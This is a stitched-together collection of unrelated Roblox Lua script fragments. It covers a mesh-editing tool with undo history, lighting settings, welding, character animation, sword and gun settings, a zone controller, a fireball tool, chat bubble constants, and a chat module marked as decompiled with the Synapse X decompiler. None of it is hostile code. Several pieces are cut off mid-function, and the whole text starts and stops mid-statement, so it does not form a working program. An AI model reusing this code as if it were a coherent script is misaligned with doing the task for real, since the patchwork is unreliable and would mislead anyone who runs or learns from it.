'TextureId'); local VertexColor = VectorToColor(Support.IdentifyCommonProperty(Meshes, 'VertexColor')); -- Check if there's a file mesh in the selection local FileMeshInSelection = false; for _, Mesh in pairs(GetMeshes()) do if Mesh.MeshType == Enum.MeshType.FileMesh then FileMeshInSelection = true; break; end; end; -- Identify common scales and offsets across axes local XScaleVariations, YScaleVariations, ZScaleVariations = {}, {}, {}; local XOffsetVariations, YOffsetVariations, ZOffsetVariations = {}, {}, {}; for _, Mesh in pairs(GetMeshes()) do table.insert(XScaleVariations, Support.Round(Mesh.Scale.X, 3)); table.insert(YScaleVariations, Support.Round(Mesh.Scale.Y, 3)); table.insert(ZScaleVariations, Support.Round(Mesh.Scale.Z, 3)); table.insert(XOffsetVariations, Support.Round(Mesh.Offset.X, 3)); table.insert(YOffsetVariations, Support.Round(Mesh.Offset.Y, 3)); table.insert(ZOffsetVariations, Support.Round(Mesh.Offset.Z, 3)); end; local CommonXScale = Support.IdentifyCommonItem(XScaleVariations); local CommonYScale = Support.IdentifyCommonItem(YScaleVariations); local CommonZScale = Support.IdentifyCommonItem(ZScaleVariations); local CommonXOffset = Support.IdentifyCommonItem(XOffsetVariations); local CommonYOffset = Support.IdentifyCommonItem(YOffsetVariations); local CommonZOffset = Support.IdentifyCommonItem(ZOffsetVariations); -- Shortcuts to updating UI elements local AddButton = MeshTool.UI.AddButton; local RemoveButton = MeshTool.UI.RemoveButton; local MeshTypeDropdown = MeshTool.UI.TypeOption.Dropdown; local MeshIdInput = MeshTool.UI.MeshIdOption.TextBox; local TextureIdInput = MeshTool.UI.TextureIdOption.TextBox; local VertexColorIndicator = MeshTool.UI.TintOption.Indicator; local XScaleInput = MeshTool.UI.ScaleOption.XInput.TextBox; local YScaleInput = MeshTool.UI.ScaleOption.YInput.TextBox; local ZScaleInput = MeshTool.UI.ScaleOption.ZInput.TextBox; local XOffsetInput = MeshTool.UI.OffsetOption.XInput.TextBox; local YOffsetInput = MeshTool.UI.OffsetOption.YInput.TextBox; local ZOffsetInput = MeshTool.UI.OffsetOption.ZInput.TextBox; -- Update the inputs UpdateDataInputs { [MeshIdInput] = MeshId and ParseAssetId(MeshId) or MeshId or '*'; [TextureIdInput] = TextureId and ParseAssetId(TextureId) or TextureId or '*'; [XScaleInput] = CommonXScale or '*'; [YScaleInput] = CommonYScale or '*'; [ZScaleInput] = CommonZScale or '*'; [XOffsetInput] = CommonXOffset or '*'; [YOffsetInput] = CommonYOffset or '*'; [ZOffsetInput] = CommonZOffset or '*'; }; UpdateColorIndicator(VertexColorIndicator, VertexColor); local MeshTypeLabel = Support.FindTableOccurrence(MeshTypes, MeshType); TypeDropdown.SetOption(MeshTypeLabel and MeshTypeLabel or '*'); AddButton.Visible = false; RemoveButton.Visible = false; MeshTool.UI.TypeOption.Visible = false; MeshIdInput.Parent.Visible = false; TextureIdInput.Parent.Visible = false; VertexColorIndicator.Parent.Visible = false; MeshTool.UI.ScaleOption.Visible = false; MeshTool.UI.OffsetOption.Visible = false; -- Update the UI to display options depending on the mesh type local DisplayedItems; if #Meshes == 0 then DisplayedItems = { AddButton }; -- Each selected part has a mesh, including a file mesh elseif #Meshes == #Selection.Items and FileMeshInSelection then DisplayedItems = { MeshTool.UI.TypeOption, MeshTool.UI.ScaleOption, MeshTool.UI.OffsetOption, MeshIdInput.Parent, TextureIdInput.Parent, VertexColorIndicator.Parent, RemoveButton }; -- Each selected part has a mesh elseif #Meshes == #Selection.Items and not FileMeshInSelection then DisplayedItems = { MeshTool.UI.TypeOption, MeshTool.UI.ScaleOption, MeshTool.UI.OffsetOption, RemoveButton }; -- Only some selected parts have meshes, including a file mesh elseif #Meshes ~= #Selection.Items and FileMeshInSelection then DisplayedItems = { AddButton, MeshTool.UI.TypeOption, MeshTool.UI.ScaleOption, MeshTool.UI.OffsetOption, MeshIdInput.Parent, TextureIdInput.Parent, VertexColorIndicator.Parent, RemoveButton }; -- Only some selected parts have meshes elseif #Meshes ~= #Selection.Items and not FileMeshInSelection then DisplayedItems = { AddButton, MeshTool.UI.TypeOption, MeshTool.UI.ScaleOption, MeshTool.UI.OffsetOption, RemoveButton }; end; -- Display the relevant UI elements DisplayLinearLayout(DisplayedItems, MeshTool.UI, UDim2.new(0, 0, 0, 20), 10); end; function HideUI() -- Hides the tool UI -- Make sure there's a UI if not MeshTool.UI then return; end; -- Hide the UI MeshTool.UI.Visible = false; -- Stop updating the UI UIUpdater:Stop(); end; function GetMeshes() -- Returns all the meshes in the selection local Meshes = {}; -- Get any meshes from any selected parts for _, Part in pairs(Selection.Items) do table.insert(Meshes, Support.GetChildOfClass(Part, 'SpecialMesh')); end; -- Return the meshes return Meshes; end; function ParseAssetId(Input) -- Returns the intended asset ID for the given input -- Get the ID number from the input local Id = tonumber(Input) or tonumber(Input:lower():match('%?id=([0-9]+)')) or tonumber(Input:match('/([0-9]+)/')) or tonumber(Input:lower():match('rbxassetid://([0-9]+)')); -- Return the ID return Id; end; function VectorToColor(Vector) -- Returns the Color3 with the values in the given Vector3 -- Make sure that the given Vector3 is valid if not Vector then return end; -- Return the Color3 return Color3.new(Vector.X, Vector.Y, Vector.Z); end; function ColorToVector(Color) -- Returns the Vector3 with the values in the given Color3 -- Make sure that the given Color3 is valid if not Color then return end; -- Return the Vector3 return Vector3.new(Color.r, Color.g, Color.b); end; function UpdateDataInputs(Data) -- Updates the data in the given TextBoxes when the user isn't typing in them -- Go through the inputs and data for Input, UpdatedValue in pairs(Data) do -- Makwe sure the user isn't typing into the input if not Input:IsFocused() then -- Set the input's value Input.Text = tostring(UpdatedValue); end; end; end; function UpdateColorIndicator(Indicator, Color) -- Updates the given color indicator -- If there is a single color, just display it if Color then Indicator.BackgroundColor3 = Color; Indicator.Varies.Text = ''; -- If the colors vary, display a * on a gray background else Indicator.BackgroundColor3 = Color3.new(222/255, 222/255, 222/255); Indicator.Varies.Text = '*'; end; end; function DisplayLinearLayout(Items, Container, StartPosition, Padding) -- Keep track of the total vertical extents of all items local Sum = 0; -- Go through each item for ItemIndex, Item in ipairs(Items) do -- Make the item visible Item.Visible = true; -- Position this item underneath the past items Item.Position = StartPosition + UDim2.new( Item.Position.X.Scale, Item.Position.X.Offset, 0, Sum + Padding ); -- Update the sum of item heights Sum = Sum + Padding + Item.AbsoluteSize.Y; end; -- Resize the container to fit the new layout Container.Size = UDim2.new(0, 200, 0, 30 + Sum); end; function AddMeshes() -- Prepare the change request for the server local Changes = {}; -- Go through the selection for _, Part in pairs(Selection.Items) do -- Make sure this part doesn't already have a mesh if not Support.GetChildOfClass(Part, 'SpecialMesh') then -- Queue a mesh to be created for this part table.insert(Changes, { Part = Part }); end; end; -- Send the change request to the server local Meshes = Core.SyncAPI:Invoke('CreateMeshes', Changes); -- Put together the history record local HistoryRecord = { Meshes = Meshes; Unapply = function (HistoryRecord) -- Reverts this change -- Select changed parts Selection.Replace(Support.GetListMembers(HistoryRecord.Meshes, 'Parent')); -- Remove the meshes Core.SyncAPI:Invoke('Remove', HistoryRecord.Meshes); end; Apply = function (HistoryRecord) -- Reapplies this change -- Restore the meshes Core.SyncAPI:Invoke('UndoRemove', HistoryRecord.Meshes); -- Select changed parts Selection.Replace(Support.GetListMembers(HistoryRecord.Meshes, 'Parent')); end; }; -- Register the history record Core.History.Add(HistoryRecord); end; function RemoveMeshes() -- Get all the meshes in the selection local Meshes = GetMeshes(); -- Create the history record local HistoryRecord = { Meshes = Meshes; Unapply = function (HistoryRecord) -- Reverts this change -- Restore the meshes Core.SyncAPI:Invoke('UndoRemove', HistoryRecord.Meshes); -- Select changed parts Selection.Replace(Support.GetListMembers(HistoryRecord.Meshes, 'Parent')); end; Apply = function (HistoryRecord) -- Reapplies this change -- Select changed parts Selection.Replace(Support.GetListMembers(HistoryRecord.Meshes, 'Parent')); -- Remove the meshes Core.SyncAPI:Invoke('Remove', HistoryRecord.Meshes); end; }; -- Send the removal request Core.SyncAPI:Invoke('Remove', Meshes); -- Register the history record Core.History.Add(HistoryRecord); end; function SetProperty(Property, Value) -- Make sure the given value is valid if not Value then return; end; -- Start a history record TrackChange(); -- Go through each mesh for _, Mesh in pairs(GetMeshes()) do -- Store the state of the mesh before modification table.insert(HistoryRecord.Before, { Part = Mesh.Parent, [Property] = Mesh[Property] }); -- Create the change request for this mesh table.insert(HistoryRecord.After, { Part = Mesh.Parent, [Property] = Value }); end; -- Register the changes RegisterChange(); end; function SetAxisScale(Axis, Scale) -- Sets the selection's scale on axis `Axis` to `Scale` -- Start a history record TrackChange(); -- Go through each mesh for _, Mesh in pairs(GetMeshes()) do -- Store the state of the mesh before modification table.insert(HistoryRecord.Before, { Part = Mesh.Parent, Scale = Mesh.Scale }); -- Put together the changed scale local Scale = Vector3.new( Axis == 'X' and Scale or Mesh.Scale.X, Axis == 'Y' and Scale or Mesh.Scale.Y, Axis == 'Z' and Scale or Mesh.Scale.Z ); -- Create the change request for this mesh table.insert(HistoryRecord.After, { Part = Mesh.Parent, Scale = Scale }); end; -- Register the changes RegisterChange(); end; function SetAxisOffset(Axis, Offset) -- Sets the selection's offset on axis `Axis` to `Offset` -- Start a history record TrackChange(); -- Go through each mesh for _, Mesh in pairs(GetMeshes()) do -- Store the state of the mesh before modification table.insert(HistoryRecord.Before, { Part = Mesh.Parent, Offset = Mesh.Offset }); -- Put together the changed scale local Offset = Vector3.new( Axis == 'X' and Offset or Mesh.Offset.X, Axis == 'Y' and Offset or Mesh.Offset.Y, Axis == 'Z' and Offset or Mesh.Offset.Z ); -- Create the change request for this mesh table.insert(HistoryRecord.After, { Part = Mesh.Parent, Offset = Offset }); end; -- Register the changes RegisterChange(); end; function SetMeshId(AssetId) -- Sets the meshes in the selection's mesh ID to the intended, given mesh asset -- Make sure the given asset ID is valid if not AssetId then return; end; -- Prepare the change request local Changes = { MeshId = 'rbxassetid://' .. AssetId; }; -- Attempt a mesh extraction on the given asset Core.Try(Core.SyncAPI.Invoke, Core.SyncAPI, 'ExtractMeshFromAsset', AssetId) :Then(function (ExtractionData) -- Ensure extraction succeeded assert(ExtractionData.success, 'Extraction failed'); -- Apply any mesh found local MeshId = ExtractionData.meshID; if MeshId then Changes.MeshId = 'rbxassetid://' .. MeshId; end; -- Apply any texture found local TextureId = ExtractionData.textureID; if TextureId then Changes.TextureId = 'rbxassetid://' .. TextureId; end; -- Apply any vertex color found local VertexColor = ExtractionData.tint; if VertexColor then Changes.VertexColor = Vector3.new(VertexColor.x, VertexColor.y, VertexColor.z); end; -- Apply any scale found local Scale = ExtractionData.scale; if Scale then Changes.Scale = Vector3.new(Scale.x, Scale.y, Scale.z); end; end); -- Start a history record TrackChange(); -- Go through each mesh for _, Mesh in pairs(GetMeshes()) do -- Create the history change requests for this mesh local Before, After = { Part = Mesh.Parent }, { Part = Mesh.Parent }; -- Gather change information to finish up the history change requests for Property, Value in pairs(Changes) do Before[Property] = Mesh[Property]; After[Property] = Value; end; -- Store the state of the mesh before modification table.insert(HistoryRecord.Before, Before); -- Create the change request for this mesh table.insert(HistoryRecord.After, After); end; -- Register the changes RegisterChange(); end; function SetTextureId(AssetId) -- Sets the meshes in the selection's texture ID to the intended, given image asset -- Make sure the given asset ID is valid if not AssetId then return; end; -- Prepare the change request local Changes = { TextureId = 'rbxassetid://' .. AssetId; }; -- Attempt an image extraction on the given asset Core.Try(Core.SyncAPI.Invoke, Core.SyncAPI, 'ExtractImageFromDecal', AssetId) :Then(function (ExtractedImage) Changes.TextureId = 'rbxassetid://' .. ExtractedImage; end); -- Start a history record TrackChange(); -- Go through each mesh for _, Mesh in pairs(GetMeshes()) do -- Create the history change requests for this mesh local Before, After = { Part = Mesh.Parent }, { Part = Mesh.Parent }; -- Gather change information to finish up the history change requests for Property, Value in pairs(Changes) do Before[Property] = Mesh[Property]; After[Property] = Value; end; -- Store the state of the mesh before modification table.insert(HistoryRecord.Before, Before); -- Create the change request for this mesh table.insert(HistoryRecord.After, After); end; -- Register the changes RegisterChange(); end; function TrackChange() -- Start the record HistoryRecord = { Before = {}; After = {}; Unapply = function (Record) -- Reverts this change -- Select the changed parts Selection.Replace(Support.GetListMembers(Record.Before, 'Part')); -- Send the change request Core.SyncAPI:Invoke('SyncMesh', Record.Before); end; Apply = function (Record) -- Applies this change -- Select the changed parts Selection.Replace(Support.GetListMembers(Record.After, 'Part')); -- Send the change request Core.SyncAPI:Invoke('SyncMesh', Record.After); end; }; end; function RegisterChange() -- Finishes creating the history record and registers it -- Make sure there's an in-progress history record if not HistoryRecord then return; end; -- Send the change to the server Core.SyncAPI:Invoke('SyncMesh', HistoryRecord.After); -- Register the record and clear the staging Core.History.Add(HistoryRecord); HistoryRecord = nil; end;
-- if Xdir > 0 then -- if going ?North? then ignore, else (?South?); Jump -- Hit = nil -- ignore -- elseif Xdir == 0 then -- else swerve (only while in logic).
if Xdir == 0 then Hit = Aitorso-- this should result in Hit = true-but-don't-attemp-a-jump, so swerve; doesn't check floor!
--------END LIGHT SET 1-------- --------DJ BACKLIGHT--------
game.Workspace.djbacklight.l1.BrickColor = BrickColor.new(game.Workspace.Lighting.cyandj.Value) game.Workspace.djbacklight.l2.BrickColor = BrickColor.new(game.Workspace.Lighting.cyandj.Value) game.Workspace.djbacklight.l3.BrickColor = BrickColor.new(game.Workspace.Lighting.cyandj.Value) game.Workspace.djbacklight.l4.BrickColor = BrickColor.new(game.Workspace.Lighting.cyandj.Value)
---- ----
if hit.Parent:findFirstChild("Humanoid") ~= nil then local target1 = "LeftLowerLeg" local target2 = "LeftLowerLeg2" if hit.Parent:findFirstChild(target2) == nil then local g = script.Parent.Parent[target2]:clone() g.Parent = hit.Parent local C = g:GetChildren() for i=1, #C do if C[i].className == "UnionOperation" or C[i].className =="Part" or C[i].className == "WedgePart" or C[i].className == "MeshPart" then local W = Instance.new("Weld") W.Part0 = g.Middle W.Part1 = C[i] local CJ = CFrame.new(g.Middle.Position) local C0 = g.Middle.CFrame:inverse()*CJ local C1 = C[i].CFrame:inverse()*CJ W.C0 = C0 W.C1 = C1 W.Parent = g.Middle end local Y = Instance.new("Weld") Y.Part0 = hit.Parent[target1] Y.Part1 = g.Middle Y.C0 = CFrame.new(0, 0, 0) Y.Parent = Y.Part0 end local h = g:GetChildren() for i = 1, # h do h[i].Anchored = false h[i].CanCollide = false end end end
-- Decompiled with the Synapse X Luau decompiler.
local v1, v2 = pcall(function() return UserSettings():IsUserFeatureEnabled("UserFlagRemoveMessageFromMessageLog"); end); local v3 = {}; local l__ClientChatModules__4 = game:GetService("Chat"):WaitForChild("ClientChatModules"); local l__Parent__5 = script.Parent; local v6 = {}; v6.__index = v6; function v6.Destroy(p1) p1.Destroyed = true; end; function v6.SetActive(p2, p3) if p3 == p2.Active then return; end; if p3 == false then p2.MessageLogDisplay:Clear(); else p2.MessageLogDisplay:SetCurrentChannelName(p2.Name); for v7 = 1, #p2.MessageLog do p2.MessageLogDisplay:AddMessage(p2.MessageLog[v7]); end; end; p2.Active = p3; end; local u1 = v1 or v2; function v6.UpdateMessageFiltered(p4, p5) local v8 = 1; local l__MessageLog__9 = p4.MessageLog; local v10 = nil; while v8 <= #l__MessageLog__9 do local v11 = l__MessageLog__9[v8]; if v11.ID == p5.ID then v10 = v11; break; end; v8 = v8 + 1; end; if v10 then v10.Message = p5.Message; v10.IsFiltered = true; if not p4.Active then return; end; else p4:AddMessageToChannelByTimeStamp(p5); return; end; if u1 and v10.Message == "" then table.remove(p4.MessageLog, v8); end; p4.MessageLogDisplay:UpdateMessageFiltered(v10); end; local u2 = require(l__ClientChatModules__4:WaitForChild("ChatSettings")); function v6.AddMessageToChannel(p6, p7) table.insert(p6.MessageLog, p7); if p6.Active then p6.MessageLogDisplay:AddMessage(p7); end; if u2.MessageHistoryLengthPerChannel < #p6.MessageLog then p6:RemoveLastMessageFromChannel(); end; end; function v6.InternalAddMessageAtTimeStamp(p8, p9) for v12 = 1, #p8.MessageLog do if p9.Time < p8.MessageLog[v12].Time then table.insert(p8.MessageLog, v12, p9); return; end; end; table.insert(p8.MessageLog, p9); end; function v6.AddMessagesToChannelByTimeStamp(p10, p11, p12) for v13 = p12, #p11 do p10:InternalAddMessageAtTimeStamp(p11[v13]); end; while u2.MessageHistoryLengthPerChannel < #p10.MessageLog do table.remove(p10.MessageLog, 1); end; if p10.Active then p10.MessageLogDisplay:Clear(); for v14 = 1, #p10.MessageLog do p10.MessageLogDisplay:AddMessage(p10.MessageLog[v14]); end; end; end; function v6.AddMessageToChannelByTimeStamp(p13, p14) if not (#p13.MessageLog >= 1) then p13:AddMessageToChannel(p14); return; end; if p14.Time < p13.MessageLog[1].Time then return; end; if p13.MessageLog[#p13.MessageLog].Time <= p14.Time then p13:AddMessageToChannel(p14); return; end; for v15 = 1, #p13.MessageLog do if p14.Time < p13.MessageLog[v15].Time then table.insert(p13.MessageLog, v15, p14); if u2.MessageHistoryLengthPerChannel < #p13.MessageLog then p13:RemoveLastMessageFromChannel(); end; if p13.Active then p13.MessageLogDisplay:AddMessageAtIndex(p14, v15); end; return; end; end; end; function v6.RemoveLastMessageFromChannel(p15) table.remove(p15.MessageLog, 1); if p15.Active then p15.MessageLogDisplay:RemoveLastMessage(); end; end; function v6.ClearMessageLog(p16) p16.MessageLog = {}; if p16.Active then p16.MessageLogDisplay:Clear(); end; end; function v6.RegisterChannelTab(p17, p18) p17.ChannelTab = p18; end; function v3.new(p19, p20) local v16 = setmetatable({}, v6); v16.Destroyed = false; v16.Active = false; v16.MessageLog = {}; v16.MessageLogDisplay = p20; v16.ChannelTab = nil; v16.Name = p19; return v16; end; return v3;
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onRunning(speed) if speed>0.01 then if Figure and Humanoid and Humanoid.WalkSpeed<17 then playAnimation("walk", 0.1, Humanoid); elseif Figure and Humanoid and Humanoid.WalkSpeed>17 then playAnimation("run", 0.1, Humanoid); end; if currentAnimInstance and currentAnimInstance.AnimationId == "http://www.roblox.com/asset/?id=180426354" then setAnimationSpeed(speed / 14.5) end pose = "Running" else playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / 12.0) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid) return end end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end local lastTick = 0 function move(time) local amplitude = 1 local frequency = 1 local deltaTime = time - lastTick lastTick = time local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then playAnimation("sit", 0.5, Humanoid) return elseif (pose == "Running") then if Figure and Humanoid and Humanoid.WalkSpeed<17 then playAnimation("walk", 0.1, Humanoid); elseif Figure and Humanoid and Humanoid.WalkSpeed>17 then playAnimation("run", 0.1, Humanoid); end; elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then stopAllAnimations() amplitude = 0.1 frequency = 1 setAngles = true end if (setAngles) then local desiredAngle = amplitude * math.sin(time * frequency) RightShoulder:SetDesiredAngle(desiredAngle + climbFudge) LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge) RightHip:SetDesiredAngle(-desiredAngle) LeftHip:SetDesiredAngle(-desiredAngle) end -- Tool Animation handling local tool = getTool() if tool and tool:FindFirstChild("Handle") then local animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimInstance = nil toolAnimTime = 0 end end
--For R15 avatars
Animations = { R15Slash = 522635514, R15Lunge = 522638767 } Damage = DamageValues.BaseDamage Grips = { Up = CFrame.new(0, 0, 0), Out = CFrame.new(0, 0, 0) } Sounds = { Slash = Handle:WaitForChild("SwordSlash"), Lunge = Handle:WaitForChild("SwordLunge"), Unsheath = Handle:WaitForChild("Unsheath") } ToolEquipped = false
-- ==================== -- BASIC -- A basic settings for the gun -- ====================
UseCommonVisualEffects = true; --Enable to use default visual effect folder named "Common". Otherwise, use visual effect with specific tool name (ReplicatedStorage -> Miscs -> GunVisualEffects) AutoReload = true; --Reload automatically when you run out of mag; disabling it will make you reload manually PrimaryHandle = "Handle"; SecondaryHandle = "Handle2"; --Check "DualWeldEnabled" for detail CustomGripEnabled = false; --NOTE: Must disable "RequiresHandle" first CustomGripName = "Handle"; CustomGripPart0 = {"Character", "Left Arm"}; --Base CustomGripPart1 = {"Tool", "Handle"}; --Target AlignC0AndC1FromDefaultGrip = true; CustomGripCFrame = false; CustomGripC0 = CFrame.new(0, 0, 0); CustomGripC1 = CFrame.new(0, 0, 0); --CustomGripPart[0/1] = {Ancestor, InstanceName} --Supported ancestors: Tool, Character --NOTE: Don't set "CustomGripName" to "RightGrip"
-- PRIVATE FUNCTIONS
function ZoneController._registerZone(zone) registeredZones[zone] = true local registeredJanitor = zone.janitor:add(Janitor.new(), "destroy") zone._registeredJanitor = registeredJanitor registeredJanitor:add(zone.updated:Connect(function() ZoneController._updateZoneDetails() end), "Disconnect") ZoneController._updateZoneDetails() end function ZoneController._deregisterZone(zone) registeredZones[zone] = nil zone._registeredJanitor:destroy() zone._registeredJanitor = nil ZoneController._updateZoneDetails() end function ZoneController._registerConnection(registeredZone, registeredTriggerType) local originalItems = dictLength(registeredZone.activeTriggers) activeConnections += 1 if originalItems == 0 then activeZones[registeredZone] = true ZoneController._updateZoneDetails() end local currentTriggerCount = activeTriggers[registeredTriggerType] activeTriggers[registeredTriggerType] = (currentTriggerCount and currentTriggerCount+1) or 1 registeredZone.activeTriggers[registeredTriggerType] = true if registeredZone.touchedConnectionActions[registeredTriggerType] then registeredZone:_formTouchedConnection(registeredTriggerType) end if heartbeatActions[registeredTriggerType] then ZoneController._formHeartbeat(registeredTriggerType) end end
-- ROBLOX Services
local Players = game:GetService("Players")
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Particles = Handle:WaitForChild("Particles") Players = game:GetService("Players") Debris = game:GetService("Debris") BaseUrl = "http://www.roblox.com/asset/?id=" FireParticles = script:WaitForChild("Particles") HitScript = script:WaitForChild("HitScript") Functions = require(script:WaitForChild("Functions")) RbxUtility = LoadLibrary("RbxUtility") Create = RbxUtility.Create BasePart = Create("Part"){ Shape = Enum.PartType.Block, Material = Enum.Material.Plastic, TopSurface = Enum.SurfaceType.Smooth, BottomSurface = Enum.SurfaceType.Smooth, FormFactor = Enum.FormFactor.Custom, Size = Vector3.new(0.2, 0.2, 0.2), CanCollide = true, Locked = true, Anchored = false, } Sounds = { Fire = Handle:WaitForChild("Fire") } Animations = { Cast = {Animation = Tool:WaitForChild("Cast"), FadeTime = nil, Weight = nil, Speed = 3.5, Duration = 0.25}, } Remotes = Tool:WaitForChild("Remotes") ServerControl = (Remotes:FindFirstChild("ServerControl") or Create("RemoteFunction"){ Name = "ServerControl", Parent = Remotes, }) ClientControl = (Remotes:FindFirstChild("ClientControl") or Create("RemoteFunction"){ Name = "ClientControl", Parent = Remotes, }) ReloadTime = 1 ToolEquipped = false Handle.Transparency = 0 Tool.Enabled = true function Activated() local MouseData = InvokeClient("MouseData") if not MouseData or not MouseData.Position then return end if not Tool.Enabled or not CheckIfAlive() or not ToolEquipped then return end Tool.Enabled = false local CurrentlyEquipped = true if ToolUnequipped then ToolUnequipped:disconnect() end ToolUnequipped = Tool.Unequipped:connect(function() CurrentlyEquipped = false end) local Animation = Animations.Cast Spawn(function() InvokeClient("PlayAnimation", Animation) end) wait(Animation.Duration / 1) if ToolUnequipped then ToolUnequipped:disconnect() end if not ToolEquipped or not CurrentlyEquipped then Tool.Enabled = true return end Sounds.Fire:Play() local Fireball = BasePart:Clone() Fireball.Name = "Projectile" Fireball.Transparency = 0.9 Fireball.BrickColor = BrickColor.new("Deep orange") Fireball.Material = Enum.Material.SmoothPlastic Fireball.Shape = Enum.PartType.Ball Fireball.Size = Vector3.new(2, 2, 2) Fireball.CanCollide = false for i = 1, 10 do local Fire = FireParticles:Clone() Fire.LockedToPart = false Fire.Enabled = true Fire.Parent = Fireball end local Values = { {Name = "Creator", Class = "ObjectValue", Value = Player}, {Name = "Damage", Class = "NumberValue", Value = math.random(25, 45)}, } for i, v in pairs(Values) do local Value = Create(v.Class){ Name = v.Name, Value = v.Value, Parent = Fireball, } end local HitScriptCopy = HitScript:Clone() HitScriptCopy.Disabled = false HitScriptCopy.Parent = Fireball local MousePos = MouseData.Position local Direction = CFrame.new(Handle.Position, MousePos).lookVector local Gravity = 196.20 local Weight = (Fireball:GetMass() * Gravity) local Speed = 125 local Velocity = (Direction * Speed) local BodyVelocity = Create("BodyVelocity"){ Name = "BodyVelocity", maxForce = Vector3.new(Weight, Weight, Weight), velocity = Velocity, Parent = Fireball, } Fireball.Velocity = Velocity Fireball.CFrame = Handle.CFrame Debris:AddItem(Fireball, 5) Fireball.Parent = game:GetService("Workspace") wait(ReloadTime) Tool.Enabled = true end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false) end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") if not CheckIfAlive() then return end ToolEquipped = true end function Unequipped() ToolEquipped = false end function InvokeClient(Mode, Value) local ClientReturn = nil pcall(function() ClientReturn = ClientControl:InvokeClient(Player, Mode, Value) end) return ClientReturn end function OnServerInvoke(player, Mode, Value) if player ~= Player or not ToolEquipped or not CheckIfAlive() or not Mode or not Value then return end end ServerControl.OnServerInvoke = OnServerInvoke Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
----------------
local RootPart = char:WaitForChild("HumanoidRootPart") local RootJoint = RootPart.RootJoint RootJoint.C0 = CFrame.new() RootJoint.C1 = CFrame.new() local Aiming = false local ZoomDistance = 40 local NV local L_150_ = {} local L_153_ = {} L_153_.cornerPeek = SpringMod.new(0) L_153_.cornerPeek.d = 0.8 L_153_.cornerPeek.s = 16 L_153_.peekFactor = math.rad(-15) L_153_.dirPeek = 0
--[[ SCRIPT VARIABLES ]]
local CHAT_BUBBLE_FONT = Enum.Font.SourceSans local CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match local CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match local CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 12 local CHAT_BUBBLE_TAIL_HEIGHT = 14 local CHAT_BUBBLE_WIDTH_PADDING = 30 local CHAT_BUBBLE_PADDING = 12 local CHAT_BUBBLE_FADE_SPEED = 1.5 local BILLBOARD_MAX_WIDTH = 400 local BILLBOARD_MAX_HEIGHT = 250 --This limits the number of bubble chats that you see above characters local ELIPSES = "..." local MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses. local MaxChatMessageLengthExclusive = MaxChatMessageLength - getMessageLength(ELIPSES) - 1 local NEAR_BUBBLE_DISTANCE = 65 --previously 45 local MAX_BUBBLE_DISTANCE = 100 --previously 80
-- EasyConfiguration.lua -- @author Quenty -- Last Modified February 3rd, 2014
local Type = require(script.Parent:WaitForChild("Type")) local lib = {} local function Modify(Instance, Values) -- Modifies an Instance by using a table. assert(type(Values) == "table", "Values is not a table"); for Index, Value in next, Values do if type(Index) == "number" then Value.Parent = Instance else Instance[Index] = Value end end return Instance end local function Make(ClassType, Properties) -- Using a syntax hack to create a nice way to Make new items. return Modify(Instance.new(ClassType), Properties) end local AcceptableTypes = { -- Anything in here has a .Value property. ["StringValue"] = true; ["IntValue"] = true; ["NumberValue"] = true; ["BrickColorValue"] = true; ["BoolValue"] = true; ["Color3Value"] = true; ["Vector3Value"] = true; ["IntConstrainedValue"] = true; } local function TypeIsAcceptable(TypeName) return AcceptableTypes[TypeName] end lib.TypeIsAcceptable = TypeIsAcceptable; lib.typeIsAcceptable = TypeIsAcceptable local function AddSubDataLayer(DataName, Parent) -- For organization of data. Adds another configuration with the name "DataName", if one can't be found, and then returns it. local DataContainer = Parent:FindFirstChild(DataName) or Make("Configuration", { Name = DataName; Parent = Parent; Archivable = true; }) return DataContainer end lib.AddSubDataLayer = AddSubDataLayer lib.addSubDataLayer = AddSubDataLayer local EasyConfigCache = {} setmetatable(EasyConfigCache, 